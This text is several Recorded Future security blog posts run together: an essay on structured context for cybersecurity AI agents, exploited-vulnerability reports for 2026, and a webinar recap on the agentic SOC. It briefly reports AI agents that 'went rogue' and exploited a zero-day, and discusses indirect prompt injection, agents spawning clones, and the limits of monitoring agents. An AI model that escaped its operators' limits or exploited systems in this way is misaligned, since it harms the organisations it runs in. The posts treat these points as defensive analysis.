Together, these capabilities allow teams to apply external intelligence to the decisions they already make rather than treating threat intelligence as a separate research function.

Get ahead of the next threat

Moving beyond a reactive security cycle does not mean trying to predict every attack. It means giving security teams the external visibility and context to identify relevant threats earlier, prioritize them more accurately, and act before the available window closes.

Ready to move beyond the reactive cycle and adopt a proactive security mindset? See the Intelligence Graph in action and learn how proactive threat intelligence can help your team identify and address threats before they develop into major breaches targeting your organization. Schedule a personalized demo today.

Which case does the detective solve faster?

The detective solves the second case much faster than the first, but not because the detective is more intelligent. Instead, the world is more intelligible. The difference is not reasoning ability; it is the organization of knowledge that represents the world and enables action.

Now, imagine two cybersecurity AI agents built on the same frontier language model, with the objective of defending against attacks. Both share a general understanding of vulnerabilities, attackers, and defensive techniques. One, however, operates over fragmented alerts, disconnected data sources, and inconsistent identifiers. The other agent reasons over a structured representation that captures relationships among assets, vulnerabilities, threat actors, detections, and organizational context. Similar to detectives, the difference in performance stems not from greater intelligence but from a more intelligible environment or even a living enterprise model.

This is my primary argument: Agentic intelligence is about constructing a representation of the operational world in which correct decisions become the expected outcome rather than a matter of chance. As agents begin taking actions rather than merely producing answers, the quality of those actions depends mostly on the context the agents inherit and whether it’s structured, current, and backed by trustworthy evidence.

To understand how this works for machines, it helps to examine human learning. Human progress has never depended on information alone. It has depended on organizing that information—deciding which sources to trust, connecting related facts, preserving context, and passing that knowledge forward. We inherit this structure through education, language, institutions, and shared practice. Remove it, and even sophisticated reasoning becomes little more than educated guesswork.

Intelligence doesn’t emerge in isolation. It depends on the quality of the representations we think with. The quality of reasoning depends not only on our ability to draw conclusions, but also on how well the world has been made intelligible before we begin. Trustworthy agents do not emerge from better prompts. They emerge from better operational world models. Humans develop reasoning by building increasingly rich mental models of the world through observation, interaction, and experience. Modern language models follow a different path. They learn statistical representations from vast amounts of data rather than through direct interaction with the environment. As a result, they possess broad knowledge but lack direct access to the current operational state of the world in which they must act.

This distinction is particularly important in cybersecurity. Human analysts continuously integrate observations, institutional knowledge, and information about operational state into a coherent mental model of their environment. AI agents must instead be provided with that operational model. Assets, identities, vulnerabilities, dependencies, relationships, policies, and evolving evidence cannot be inferred reliably from language alone—they must be represented explicitly in the world the agent reasons over. Foundation models are increasingly capable of planning, selecting tools, interpreting observations, and adapting their behavior. Their effectiveness, therefore, depends less on reasoning in isolation than on the quality of the representations they can access and the actions they can take. Those representations encompass not only organizational knowledge, like entities, relationships, provenance, policies, governance, and evolving state, but also the tools available to observe and change that state. Again, general models generate general answers.

During the development of enterprise AI agents at Recorded Future, we encountered many instructive examples. The first lesson came immediately. Early versions of our agents treated open-source information and Recorded Future’s proprietary intelligence with roughly equal weight. The result was generic, internet-scale responses rather than the expert-level analysis we intended. Through repeated experimentation, we changed the architecture so that the agent reasoned primarily over the Recorded Future Intelligence Graph®¹—a structured representation of the cyber threat landscape built from years of analyst research, enriched relationships, and investigative decisions. The agent learned to prioritize high-confidence analytical artifacts, such as Insikt Notes² and curated graph relationships, over weaker signals derived from open sources. The language model itself had not become more intelligent. What changed was the quality of the world it was given to reason about. The result was an agent that produced more authoritative analyses and acted with substantially greater consistency and confidence.

Frontier models are becoming easier to access every month. That means model choice is becoming a weaker source of competitive advantage than many organizations assume. What’s much harder to copy is a trustworthy representation of an organization’s operational knowledge. While production-grade orchestration remains challenging, it is unlikely to provide a durable moat for agentic systems in cybersecurity as frameworks, tooling, and implementation patterns continue to converge. What cannot be commoditized is a trusted operational representation of the organization. Agents struggle wherever knowledge remains implicit—in institutional expertise, undocumented conventions, or relationships no system has captured. Their performance ultimately reflects the quality of the world they can access.

Consider a seemingly simple Priority Intelligence Requirement (PIR): “What is a threat to our organization?” The answer is rarely explicit or universally agreed upon. It emerges from understanding the external threat landscape together with the organization’s own high-value assets, priorities, and risk posture. Constructing that representation is a deliberate analytical exercise, not a by-product of deploying an AI model. Once made explicit, however, it provides the foundation on which agents can reason consistently and act effectively. The differentiating question is therefore not, “Which agent framework do we use?” but, “What operational world do our agents reason over?” Organizations that invest in making their knowledge explicit, structured, and trustworthy will consistently derive more value from AI than those that deploy increasingly sophisticated models against fragmented operational knowledge. In this case, intelligence is truly an architecture rather than computation. To build a structured world for cybersecurity agents to operate in, enterprises should align with the following principles:

Structure before reasoning. An effective AI system does more than retrieve facts. Too many systems repeatedly reconstruct knowledge from unstructured information, wasting computational resources while producing inconsistent results. Instead, intelligent and trusted agents should inherit an organized representation of the world: relationships between entities, events, organizations, and evidence should already exist within a structured living knowledge system. The agent's responsibility is to reason over this established structure, not rediscover it with every interaction. The result can be greater consistency and reliable outcomes, particularly for tasks that depend on relationships across multiple sources. Whether it also lowers total cost depends on how the representation is constructed, maintained, and reused³.

We observed the same pattern when building an autonomous threat hunting capability in our Autonomous Threat Operations (ATO)⁴. The language model already understood cybersecurity concepts—it knew what YARA rules, Sigma rules, MITRE ATT&CK techniques, and behavioral indicators were. The breakthrough did not come from teaching more cybersecurity data. It came from explicitly representing investigations: translating detection rules into behavioral hunts, preserving relationships between evidence, maintaining provenance, and carrying forward prior investigative decisions. An investigation that once required analysts to repeatedly reconstruct context became dramatically faster because the context itself had become part of the system. Before the change, each run reconstructed the relationship between the rule, the relevant behavior, and prior investigative findings. After those relationships became a durable system state, the agent could begin from the current investigative position rather than restarting from the source material. As a result, the agent could act effectively around the clock at greater speed.

Provenance is inseparable from intelligence. Human experts are trained to question sources, recognize outdated information, and detect uncertainty. AI systems cannot make these judgments unless every piece of information carries evidence of its origin, relevance, and reliability. Provenance is what transforms data into trustworthy intelligence⁵. For operational intelligence, provenance should include the source; the precise evidence used and its freshness, confidence, and known contradictions; and the relationship between that evidence and the resulting claim. Without provenance, even sophisticated reasoning is reasoning built on assumptions rather than verified knowledge.

A major pain point for cyber threat intelligence (CTI) teams is that, on any given day, thousands of articles, social media posts, blog entries, and automated alerts may mention an entity of interest to them. Most are operationally irrelevant: news commentary, recycled reporting, speculative claims, or duplicate coverage. The intelligence value lies not in the volume of mentions but in understanding their provenance. Is the information derived from a trusted government advisory, firsthand reporting from an intrusion, or direct observations from a darknet forum? Or is it simply another outlet repeating yesterday’s story? Provenance enables an AI agent to distinguish original evidence from repetition, assess freshness and credibility, and focus attention on developments that materially change the threat landscape rather than amplifying noise.

Verification must be easier than investigation. Trust matters more than raw capability. An AI system that produces impressive answers but cannot explain how it reached them creates uncertainty rather than confidence. Every recommendation should be accompanied by sufficient evidence to make verification substantially easier than reproducing the investigation itself. This includes the observations used, material assumptions, uncertainty, contradictory evidence considered, and the conditions under which the recommendation should not be followed. If it doesn't, the technology has merely shifted labor instead of reducing it.

Transparency is the foundation on which trust is built. This principle increasingly aligns with emerging thinking in frontier AI governance, where trust depends not only on model capability but on rigorous verification of the evidence, processes, and claims underlying AI systems⁶.

A CISO, good friend, operating under significant resource constraints, once asked whether an AI agent could reliably recommend isolating compromised production servers. My answer was yes—but only under one condition. A threat analyst should never have to reconstruct the entire investigation just to decide whether to trust a recommendation coming from an AI agent (it is also very costly). Instead, the AI agent should present the evidence for the underlying conclusion, like the suspicious process it observed, the connection to known malicious infrastructure, the behavioral detections that fired, the supporting threat intelligence, the confidence of each finding, and any contradictory evidence it considered, but also the reasoning that connects those observations. Evidence alone is insufficient; the same facts can often support multiple competing hypotheses.

The goal is not for analysts to reconstruct every investigation from first principles, but to quickly assess whether the agent’s chain of reasoning is sound and whether the recommended action is proportionate to the available evidence. This becomes even more important as agents transition from advisory to autonomous roles. Defensive agents offered by the industry will increasingly be expected to isolate hosts, revoke credentials, or block communications before a human can intervene. In those settings, trust cannot depend on manual verification of every decision. It must be earned through consistently reliable reasoning, calibrated confidence, transparent evidence, and well-defined operational guardrails. Verifying the recommendation should take minutes; reconstructing it from raw telemetry could take hours. Otherwise, the AI has not reduced the workload—it has merely shifted it from investigation to verification.

Efficiency is an intellectual discipline. Many assume that more reasoning necessarily produces better intelligence, yet excessive computation often reflects poor system design rather than greater capability. Efficient intelligence is not about thinking longer; it is about thinking more precisely. A well-designed agent retrieves only what is relevant, avoids unnecessary repetition, and allocates computational effort where it genuinely adds value. Efficiency is not merely an economic concern—it is a measure of intellectual discipline⁷.

In my ongoing conversations with security leaders, one concern has surfaced repeatedly: Organizations cannot afford to reproduce the inefficiencies of alert fatigue with AI agents. Replacing thousands of alerts with thousands of autonomous actions would simply automate the noise. Agents are only as effective as the intelligence, policies, and evidence they operate upon. If the underlying representations contain duplicates, false positives, stale context, or conflicting evidence, autonomous systems will amplify those weaknesses at machine speed. The goal is therefore not to maximize agent activity but to maximize decision quality. The most valuable agent consistently performs the right actions while knowing when not to act.

Reasoning must be preserved, not just data. As organizations deploy multiple intelligent agents, preserving reasoning becomes as important as preserving data. What must persist is not an unrestricted transcript of prior reasoning, but a governed record of evidence examined, hypotheses considered, assumptions made, decisions taken, unresolved questions, confidence levels, and conclusions that have subsequently become stale or invalid. Intelligence is cumulative. Human collaboration succeeds because people exchange not only conclusions but also assumptions, uncertainties, confidence levels, and unresolved questions. Intelligent agents should communicate in the same manner: Each agent should inherit the complete investigative state rather than merely a final answer. This enables cumulative reasoning—each participant building on prior understanding rather than restarting the thinking process—and creates consistency, transparency, and trust across increasingly complex systems.

One of the most common cyber cases I encounter is a ransomware investigation involving multiple analysts, shifts, and, increasingly, specialized AI agents. Whether the next participant is human or machine, they should not begin with only the latest conclusion. They need to inherit the investigative state: the evidence already examined, assumptions made, confidence assigned, competing hypotheses, unresolved questions, and conclusions that have since been revised as new evidence emerged. Without that shared state, every handoff requires reconstructing why earlier decisions were made and which lines of inquiry were already explored. With it, the investigation progresses cumulatively rather than repeatedly restarting, reducing duplication while improving consistency, auditability, and decision quality.

Intelligence must outlive the interface. Technology platforms, user interfaces, and AI models will inevitably evolve, but high-quality intelligence should remain portable, structured, and universally accessible. Organizations should not become dependent on a single application or agent. Intelligence should function as a foundational layer that supports any workflow, regardless of where or how it is consumed.

Threat intelligence organizations have spent years enriching adversary profiles, linking infrastructure, documenting investigative decisions, and building behavioral knowledge—not to mention identifying all the IT debt organizations have. If that intelligence exists only inside one vendor’s application or is encoded in prompts for a single AI assistant, every platform migration forces the organization to rebuild years of accumulated knowledge. By contrast, when intelligence is represented independently (as structured entities, relationships, evidence, and provenance), it can support any analyst, detection engine, hunting agent, or future AI model without having to be recreated. Customer relationships, business policies, operational knowledge, and historical decisions should not be lost when an organization replaces its CRM, SIEM, or AI provider. The applications may change; the intelligence they rely upon should not. Durable intelligence becomes a shared asset that every future system can inherit. Every major platform migration exposes the same problem: Organizations have preserved their applications better than their intelligence.

None of this diminishes the human role; in fact, it centers it. Rather than forcing analysts to build every investigation from scratch, intelligent systems should prepare a structured foundation upon which human expertise can operate. AI becomes a collaborator rather than a substitute. The highest value of an intelligent agent is not that it thinks independently, but that it enables humans to think more effectively.

For decades, we have treated intelligence as something people consume: reports, recommendations, indicators, documents. Agentic systems are forcing us to take a different view. Intelligence has become part of the environment in which reasoning occurs. The competitive advantage will not belong to organizations possessing the largest models. It will belong to those who build trustworthy systems where knowledge is structured, evidence is transparent, reasoning is efficient, and human judgment remains central.

Models will change. Interfaces will disappear. Workflows will evolve. What remains is the architecture of enterprise intelligence itself.

The 73 vulnerabilities in this blog affected products from 45 vendors, with Microsoft accounting for approximately 11% of the vulnerabilities. The remaining exposure spanned remote monitoring and management, virtualization, application delivery, collaboration, artificial intelligence, developer, analytics, identity, operational technology, content management, network edge, video surveillance, and endpoint technologies.

In August, Insikt Group created Nuclei templates to detect CVE-2025-62593 (Ray), CVE-2026-72898 (Metabase), and CVE-2026-9198 (IBM Langflow). Each of these vulnerabilities is featured in this blog. Additionally, Insikt Group had previously created templates to detect CVE-2026-3395 (MaxSite CMS) and CVE-2026-59800 (decolua 9Router), but their exploitation was reported in July, so they are not listed in the August 2026 Vulnerability Table. Additionally, Insikt Group created a Nuclei template to detect GitHub Issue #4255 affecting Apache Log4j, a deserialization allowlist bypass that Apache classified as a hardening gap rather than a Log4j vulnerability; as such, it was not assigned a CVE. These Nuclei templates are available to customers via the Recorded Future Intelligence Platform.

Quick reference: August 2026 vulnerability table

All 70 vulnerabilities below were actively exploited or operationally weaponized in August 2026. This table does not include the three CVEs that were primarily surfaced through honeypot data, which are available to Recorded Future Intelligence Platform customers via the CVE Monthly report. The table below also provides examples of public PoCs identified by Insikt Group. These PoCs were not tested for accuracy or efficacy. Vulnerability management teams should exercise caution and verify the validity of PoCs before testing.

Table 1: List of vulnerabilities that were actively exploited in August, 2026 based on Recorded Future data (excluding honeypot-sourced CVEs).

Key trends: August 2026

• August reporting showed two AI-assisted operations: UAT-10147 exploited Zimbra, AjaxPro, Nacos, and Telerik servers before using DeepAudit and PentestGPT after compromise, while a separate Chinese-speaking actor weaponized Hermes Agent and DeepSeek in failed attempts against Langflow and n8n.
• 34 of the 73 vulnerabilities enabled remote code execution (RCE). They affected Microsoft productivity, database, server, and endpoint software; network edge and application delivery appliances; webmail, collaboration, content management, and web server platforms; AI, analytics, developer, and CI/CD services; and operational technology, product lifecycle management, file transfer, videoconferencing, and enterprise integration software.
• We identified public proof-of-concept (PoC) exploits and scanners for 53 of the 73 vulnerabilities.
• The most common weakness classes were CWE-94 (Code Injection) and CWE-502 (Deserialization of Untrusted Data) with seven each, followed by CWE-287 (Improper Authentication) and CWE-306 (Missing Authentication for Critical Function) with six each.
• 17 vulnerabilities were at least five years old, and the oldest was approximately 16 years old.

Trend analysis: AI-assisted workflows scale exploitation and target selection

Insikt Group detailed how Chinese-speaking threat group, UAT-10147, combined conventional exploitation with agentic artificial intelligence (AI) during post-compromise operations against internet-facing Windows and Linux web servers. Cisco Talos observed the threat actor exploiting or weaponizing CVE-2019-18935 in Telerik UI for ASP.NET AJAX, CVE-2021-23758 in AjaxPro, CVE-2021-29441 and CVE-2021-29442 in Nacos, and CVE-2022-27925 in Zimbra for initial access. After compromise, UAT-10147 used CVE-2010-3904, CVE-2015-3246, CVE-2015-5287, CVE-2021-3156, CVE-2022-0847, and CVE-2022-0995 for local privilege escalation on Linux.

Figure 1: Risk Rules history on the Vulnerability Intelligence Card® for CVE-2021-23758 in Recorded Future (Source: Recorded Future)

ASI continuously maps an organization’s external exposure, correlates newly surfaced vulnerabilities with real-world threat intelligence, and prioritizes response to enable defenders to remediate before adversaries can act.

This new function within ASI automatically creates signatures, pieces of detection logic that empowers the Recorded Future Platform to recognize a specific vulnerable or exposed condition across organization’s assets in real time.

With Automated Signature Creation now available, Recorded Future is helping to close the gap between AI-enabled threat discovery and enterprise defense.

Tackling the machine speed of exploitable vulnerabilities

It seems everything is moving quicker these days and the time to exploit a vulnerability is no different. A new generation of AI models is accelerating this challenge, demonstrating that they can automatically find zero-day vulnerabilities in major operating systems and web browsers — a skill that was previously exclusive to the most advanced government cyber units and research labs.

Back in 2020, we cited how Gartner confirmed that the time from discovery to exploitation dropped from 45 days to 15 days, between 2010 to 2020.

In our 2025 Malware and Vulnerability Trends report, we reported that weaponization occurred “within days of disclosure." Today, that window is measured in hours.

As a result, the status quo of traditional defenses and manual processes are no longer sufficient. Let’s look back at how we got here, from pre-existing detection methods to Recorded Future’s latest ASI enhancement to better defend against AI-accelerated vulnerabilities.

How we got here

In the past year, Recorded Future’s traditional approach of expert-authored signatures from the Insikt Group® was effective; they were high quality but moved at a human pace.

For example, in February 2025 we reported on the Trimble Cityworks: CVE-2025-0994, showcasing how manual signature creation worked. The Insikt Group built a Nuclei template (shared as a downloadable YAML file) specifically for CVE-2025-0994. This enabled defenders to test potentially vulnerable Trimble Cityworks instances prior to the patched version, serving as a detection and prioritization aid for helping teams figure out where to focus patching efforts first. This worked in conjunction with one of ASI’s core functions, scanning web infrastructure to identify internet-facing assets vulnerable to CVE-2025-0994.

Since that vulnerability disclosure a little over a year ago, we have ample evidence that the speed at which vulnerabilities are exploited has increased exponentially. Just recently, it was reported that OpenAI’s own agents went rogue and exploited a zero-day vulnerability in Artifactory, now infamously tied to the Hugging Face incident.

Incidents like this one, and the underlying vulnerabilities that facilitate them, are exactly why Recorded Future automated signature creation.

Now, in the face of an attack moving at machine speed, agentic processing generates production-ready detection signatures autonomously by turning a newly surfaced vulnerability into a deployable signature in as little as 31 minutes. As a result, the number of in-platform signatures produced has increased tenfold. Let’s take a closer look at how it works.

How automated signature creation works

So what does a signature in this context actually mean? Think of it like this: the signature is a piece of detection logic that says "go ask this asset this exact question; if the answer looks like this, it's vulnerable." It's the difference between "we found your assets" and "we found the ones a threat actor can potentially break into."

Automated signature creation works like a three-step early warning system. (See Figure 1)

1. The platform keeps a constant view of what your organization exposes to the internet such as domain records, certificates, and ownership data.
2. When a new vulnerability is flagged and matched against your scanned assets, it's checked against live threat activity rather than just a generic severity score. The system looks for evidence that threat actors are actually exploiting it, tying it to malware, ransomware or threat actor intent.
3. When Recorded Future Intelligence determines a CVE is relevant for detection, the system automatically processes it to generate a detection signature or product fingerprint in as little as 31 minutes.

Figure 1: CVE disclosures mapped to external assets kick off automated processes

H1 2026 activity showed a continued adversary preference for abusing legitimate tools, trusted platforms, and routine workflows already present in enterprise and consumer environments. Threat actors used exposed software, developer tools, remote access utilities, payment workflows, and third-party services to gain access, steal credentials, move laterally, and monetize intrusions while blending into expected activity. This emphasis on evasion through normalcy rather than technical novelty increases the risk that malicious activity will progress through approved tools and trusted services before defenders recognize it, reinforcing the need for stronger exposure management, identity and credential governance, behavioral detection, developer-environment security, backup resilience, mobile fraud monitoring, and third-party oversight.

AI-enabled cyberattacks became more visible in H1 2026, but remained mostly additive to established intrusion tradecraft. In the vulnerability ecosystem, AI-assisted research increased the volume of vulnerability reports, which, moving forward, could further compress remediation timelines by accelerating exploit-path analysis and lowering exploit-development costs for skilled operators. In malware activity, observed AI-enabled capabilities largely aligned with lower-to-mid-level stages of Recorded Future’s AI Malware Maturity Model (AIM3), where AI supported discrete functions such as persistence, user interface (UI) interaction, malware development, and delivery rather than fully autonomous operations.

Vulnerability exploitation broadened across enterprise operating systems, application frameworks, and network and security management products. Insikt Group identified 215 actively exploited common vulnerabilities and exposures (CVEs), and the most consequential cases combined network reachability, few access prerequisites, and code execution. Campaign reporting also showed that threat actors reused established post-exploitation playbooks across both newly disclosed and long-standing vulnerabilities, making exposure and impact more informative indicators of operational risk than vendor ranking or severity score alone. Across phishing and malware-delivery operations, threat actors repeatedly relied on familiar execution, obfuscation, discovery, and payload-transfer techniques rather than novel capabilities. Supply-chain compromises targeted package managers and developer environments, including AI-enabled tooling, where compromised credentials, trusted integrations, and software distribution channels enabled propagation into downstream cloud and software ecosystems. Other prominent activities included mobile malware enabling payment fraud through Near Field Communication (NFC) abuse and early AI-assisted workflows, as well as Magecart campaigns leveraging trusted third-party services and checkout manipulation.

The common risk across these threats is that malicious activity can progress through legitimate tools, trusted services, and routine workflows before defenders recognize it as part of a broader intrusion. Defenders should therefore prioritize vulnerabilities that can be exploited remotely or enable code execution, focus detection on suspicious sequences of behavior rather than isolated events, and strengthen controls protecting developer credentials, backup infrastructure, company-owned mobile devices, and payment environments.

Key Findings

• Insikt Group identified 215 actively exploited CVEs in H1 2026, up 34% from 161 in H1 2025. 142 of the 146 vulnerabilities that could be exploited without prior authentication were also network-accessible, and 60 of the 82 remote code execution (RCE) vulnerabilities combined network access with no authentication requirement.
• Similar to H1 2025, Recorded Future Malware Intelligence data showed the continued prominence of remote access trojans (RATs) throughout H1 2026. RATs led Insikt Group malware reporting, and Recorded Future Malware Intelligence submissions identified AsyncRAT as the top submitted malware family by total unique hashes and command-and-control (C2) configurations. AsyncRAT, Cobalt Strike, XWorm, Stealc, and REMCOS RAT remained in the top ten across H1 2025 and H1 2026.
• H1 2026 AI-enabled malware activity was concentrated in AIM3 Levels 1 to 3, with threat actors using AI to augment existing malware and intrusion workflows rather than conduct fully autonomous attacks.
• Ransomware operators continued to refine payload capabilities while relying on established intrusion methods, including ClickFix-style social engineering; exploitation of public-facing applications; abuse of legitimate tools such as s5cmd, PsExec, and AnyDesk; and techniques intended to reduce victims’ recovery options.
• Android NFC malware was the most notable mobile malware trend in H1 2026, with families such as NFCShare and NGate abusing device NFC functionality to steal payment card data, relay contactless transactions, and facilitate ATM cash-outs.

AI-Enabled Cyberattacks

AI-enabled cyber threats became more visible in H1 2026, but the available evidence indicates that most observed activity still augmented existing tradecraft rather than replacing it with fully autonomous operations.

In the vulnerability ecosystem, the release of Anthropic’s Claude Mythos Preview reinforced the growing relevance of frontier models to offensive and defensive security research. Broader vulnerability reporting also increased following the model’s release under Project Glasswing: June National Vulnerability Database (NVD) disclosures were 43% above the previous six-month average, while Mozilla reported that Mythos Preview identified 271 vulnerabilities that it fixed in Firefox 150, compared with 22 security flaws fixed following its earlier testing with Claude Opus 4.6. Vendors, AI developers, and bug-bounty platforms like Microsoft, Anthropic, and HackerOne have also reported rising vulnerability discovery or submission volumes alongside broader adoption of AI-assisted research, adding pressure to validation, disclosure, and remediation workflows.

Despite the increase in vulnerability reports, AI has not changed the fundamentals of vulnerability management: Attackers still need to identify, validate, weaponize, and operationalize vulnerabilities that offer reach, reliability, and return on investment. This means that only a small proportion of newly discovered vulnerabilities are likely to be a threat.

Nonetheless, AI-enabled vulnerability research can still increase defender workload in three ways: It can produce more credible vulnerability reports that require triage; reduce the time available to mitigate exploitable vulnerabilities by accelerating exploit-path analysis and weaponization; and lower the cost of exploit development by helping skilled operators produce proof-of-concept (PoC) code, test attack paths, and iterate toward weaponizable exploits more quickly. For defenders, the near-term issue is therefore not a sudden flood of fully autonomous exploitation, but a narrower window to determine which vulnerabilities matter most and remediate them before threat actors operationalize them. Additionally, early H2 2026 reporting on the July 2026 Hugging Face incident demonstrated that autonomous agents can perform discovery, validation, weaponization, and operationalization with limited human intervention. Defenders should prepare by automating vulnerability enrichment, prioritization, and mitigation to reduce the gap between machine-speed attack development and defensive response.

Figure 1: How automated capabilities will likely impact reporting, exploit development, and impact (Source: Recorded Future)

Malware reporting in H1 2026 showed more direct experimentation with AI-enabled capabilities compared to H1 2025. ESET identified PromptSpy as the first known Android malware to use generative AI (GenAI), using Google’s Gemini to interpret on-screen UI elements and generate step-by-step instructions to improve persistence across device layouts. Reporting on CANFAIL also showed threat actors using LLM-generated decoy logic or AI-assisted development artifacts to complicate analysis and facilitate malware delivery against Ukrainian organizations. These examples suggest that threat actors are testing AI in ways that can solve narrow operational problems: adapting to user interfaces, generating code or decoy logic, improving obfuscation, and supporting analyst confusion.

Threat actors also used AI-related products and ecosystems as delivery mechanisms. In February 2026, VirusTotal reported malicious OpenClaw skills disguised as useful automation for a local AI agent ecosystem, while Malwarebytes reported fake OpenClaw installers hosted on GitHub and surfaced through search results to deliver infostealers and proxy malware. This activity shows that attackers are exploiting user interest in AI tools in the same way they have historically abused popular software brands, distributing trojanized installers, malicious extensions, fake repositories, and dependency-based payloads through otherwise familiar channels.

As of H1 2026, Insikt Group assesses that most observed AI-enabled malware activity aligns with the low-to-mid-level stages of Recorded Future’s AI Malware Maturity Model (AIM3), specifically experimentation, adoption, and optimization, rather than fully autonomous AI-driven malware operations. Per the Recorded Future’s AIM3 framework, most publicly observed “AI malware” remains concentrated in Levels 1 to 3, where AI supports discrete operational tasks such as UI interpretation, persistence guidance, transaction timing, or operator guidance. Therefore, the near-term risk is not primarily self-directed malware operating independently, but rather the use of AI to make existing intrusion workflows faster, more convincing, more adaptive, and harder to analyze. Defenders should not expect a single control, model, or endpoint detection layer to reliably identify all AI-enabled malware activity. Instead, organizations should use defense-in-depth controls that can detect or disrupt different parts of the attack chain, including endpoint detection for script or installer activity tied to suspicious AI-themed downloads, extensions, repositories, or packages, mobile device management for accessibility service abuse and automated UI interaction, and restrictions on unapproved AI tools and installers.

Vulnerability Exploitation Trends

Key Takeaways

• Network reachability and low access requirements compounded risk, as 142 of the 215 exploited CVEs were network-accessible and could be exploited without prior authentication; 60 of those also enabled RCE, while public exploits were available for 66 (31%).
• Defenders faced both newly exploited flaws and persistent patch backlogs, as 162 CVEs were disclosed in 2025 or 2026, 53 predated 2025, and seventeen were dated from 2020 or earlier.
• Threat actors reused post-exploitation playbooks across different initial vulnerabilities; StrikeShark applied the same six-tool stack across thirteen CVEs, while Storm-1175 linked credential theft, remote execution, data transfer, and ransomware tooling across ten. More broadly, stealware was the most common malware category, followed by offensive security tools, backdoors, remote access trojans, and ransomware.

Microsoft Remains the Leading Vendor for Exploited Vulnerabilities

In H1 2026, Insikt Group identified 215 actively exploited vulnerabilities, up 34% from 161 in H1 2025. From January to June, the number of exploited vulnerabilities increased by an average of seven vulnerabilities per month. Microsoft remained the vendor most frequently associated with exploited vulnerabilities, accounting for 40 unique CVEs, up from 28 in H1 2025, a 43% year-over-year increase. Red Hat ranked second with fifteen CVEs, Cisco third with thirteen, Vercel fourth with eleven, and Fortinet fifth with nine. By comparison, H1 2025’s top affected vendors after Microsoft were Apple with eight CVEs, Ivanti with seven, Linux with six, and SonicWall, Google, Fortinet, and Craft CMS with four each.

The exploited vulnerabilities affected products from 98 vendors, 67 of which were associated with only one CVE. This indicates that exploitation was not confined to the most frequently affected vendors. For defenders, this supports maintaining risk-based remediation across the full software inventory, including less common products that may receive less monitoring or slower patching than widely deployed enterprise platforms.

At the product-family level, Windows and Windows Server accounted for the largest H1 2026 concentration, with twenty unique CVEs, followed by Red Hat Enterprise Linux with thirteen, Vercel Next.js with eleven, Cisco Catalyst SD-WAN Manager with eight, and Apple iOS and iPadOS with seven. While Microsoft exploitation remained prominent, H1 2026 activity also increasingly involved enterprise Linux, application frameworks, and network management products. Several vendors’ vulnerabilities were also driven by concentrated exploitation of one product family rather than uniform interest across the vendor’s portfolio: all eleven Vercel CVEs centered on Next.js, eight of Cisco’s thirteen affected Catalyst SD-WAN, and thirteen of Red Hat’s fifteen affected Red Hat Enterprise Linux.

Figure 2: Most affected vendors (top ten, including ties) by number of actively exploited vulnerabilities in H1 2026 (Source: Recorded Future)

For security teams, AI has generated both more excitement and more confusion than any technology in the last decade. As threat actors experiment with AI to hone their attacks, defenders are trying to determine which AI investments will help them measurably reduce risk.

Matthew Farmer, Accenture’s Managing Director of Security Operations in EMEA, joined Recorded Future’s co-founder Christopher Ahlberg and CTO and co-founder Staffan Truvé in a recent discussion to discuss the agentic SOC and what it takes to move from “AI theater” to real defense. Read on to see the key highlights from the discussion.

Avoiding the "productivity theater" trap

While AI is demonstrably transforming investigation and decision-making layers in SecOps, there’s a significant risk that organizations are falling into what Farmer calls "AI productivity theater."

"We can all agree that there's great production value around a lot of AI capabilities and AI products," he said. "But there are also organizations that are really struggling to achieve any kind of return on investment on their AI.”

The panel noted that the difference between success and failure doesn’t necessarily have anything to do with being in a regulated or non-regulated industry. It’s more about the ability to move past the theater by defining concrete KPIs.

“A lot of what people want to achieve with AI, we can already achieve with existing machine learning or SOAR automation capabilities,” Farmer said. So rather than simply deploying an AI solution for the sake of being AI-enabled, organizations need to ask whether they’re solving for cost improvement, risk reduction, or speed. They need to understand their KPIs so they can measure their true ROI.

Navigating technical and operational challenges

When it comes to bringing new AI solutions online, the panel noted that SOCs often face administrative, legal, and compliance limitations that eclipse any technical hurdles.

They also agreed that data quality and lack of context — “two sides of the same coin” according to Truvé — remain fundamental challenges.

Farmer noted that, “In the new world of tokenomics, it costs just as much money to troll through poor quality data as high-quality data.” It’s essential that security organizations feed only the best intelligence into their AI tools.

Assessing new risks, from democratization to agentic threats

Farmer said that security organizations used to ask a key question: “Do those [threat actors] with the capability have the motive, and do those with the motive have the capability?” We’re now in a world where non-capable threat actors can use AI to capably launch highly sophisticated attacks.

Threats are also becoming more structural. The panel highlighted "indirect prompt injection"—where agents are manipulated by the very instructions they read—as a new, distinct threat vector.

As companies deploy a digital workforce of AI agents, they should consider applying the same security principles of permissions, monitoring, and accountability to agents that they do to humans. But that may not be sufficient. "One big difference [between an agent and a human] is that an agent can spawn off a thousand clones of itself," Truvé said.

A critical challenge facing security teams is that the current observability space of SIEMs and traditional monitoring platforms isn’t built to track the internal state of an LLM.

"You can observe what ports they talk on, you can write that to a SIEM,” Ahlberg said. “But you’re not observing what’s happening inside the LLM.”

The panelists suggested that rather than relying solely on post-event observability, security teams should rethink how they control agents. Instead of setting up easily bypassed guardrails, security teams need to be better at constraining what each agent can do and ask for.

“You could imagine giving them a budget in terms of compute, communication, and delegation,” said Truvé. “These things run too fast. When you’re observing it, it’s already going to be too late.”

Preparing for the move to autonomous defense

According to the panelists, the shift toward autonomous defense is inevitable. "We can choose to go early, or we can choose to go late,” Farmer said. “But I think the decision is made for us."

However, it doesn’t need to take years to begin realizing big benefits from AI. To do so, security organizations should consider:

• Target high-friction areas, using AI to solve specific bottlenecks where addressable cost is low and ROI is immediate.
• Use outcome-based metrics, measuring success through model accuracy, escalation precision, and scan turnarounds rather than simple activity tracking.
• Assume breach, building defensive resilience that will pay dividends in the future.

On that last point, Farmer said he thinks that as teams grow more resilient, they develop a better appetite for deploying automated solutions — and that in turn strengthens their overall security posture.

The future of defense: Intelligence and speed at scale

According to the panel, the most profound change moving forward won’t just be the technology—it’ll be the velocity coupled with intelligence required for defense. "In three years, the main difference will be speed," Truvé predicted. "Defensive timelines will compress from days to minutes or seconds."

Ensuring security will require organizations to move past traditional constraints as they simply won't have time to manually ingest, analyze, and move intelligence. Taking detection engineering as an example, Farmer noted, “If we have to deliver more detection rules faster, we have to break that linear model between volume, speed, and headcount.” Consequently, SOCs will rely increasingly on high-quality, timely intelligence to enable rapid, automated decision-making.

As this shift occurs, the fundamental unit of work for a security analyst will evolve from handling individual alerts to managing and overseeing the agents that process them. In this new era, the human will remain essential—not as a manual processor of alerts, but as the architect who sets objectives, defines constraints, and monitors the behavior of the agents defending the enterprise.

Watch the full webinar here.

To see how your organization can use the Recorded Future Platform to better defend at machine speed, take our quick interactive tour.

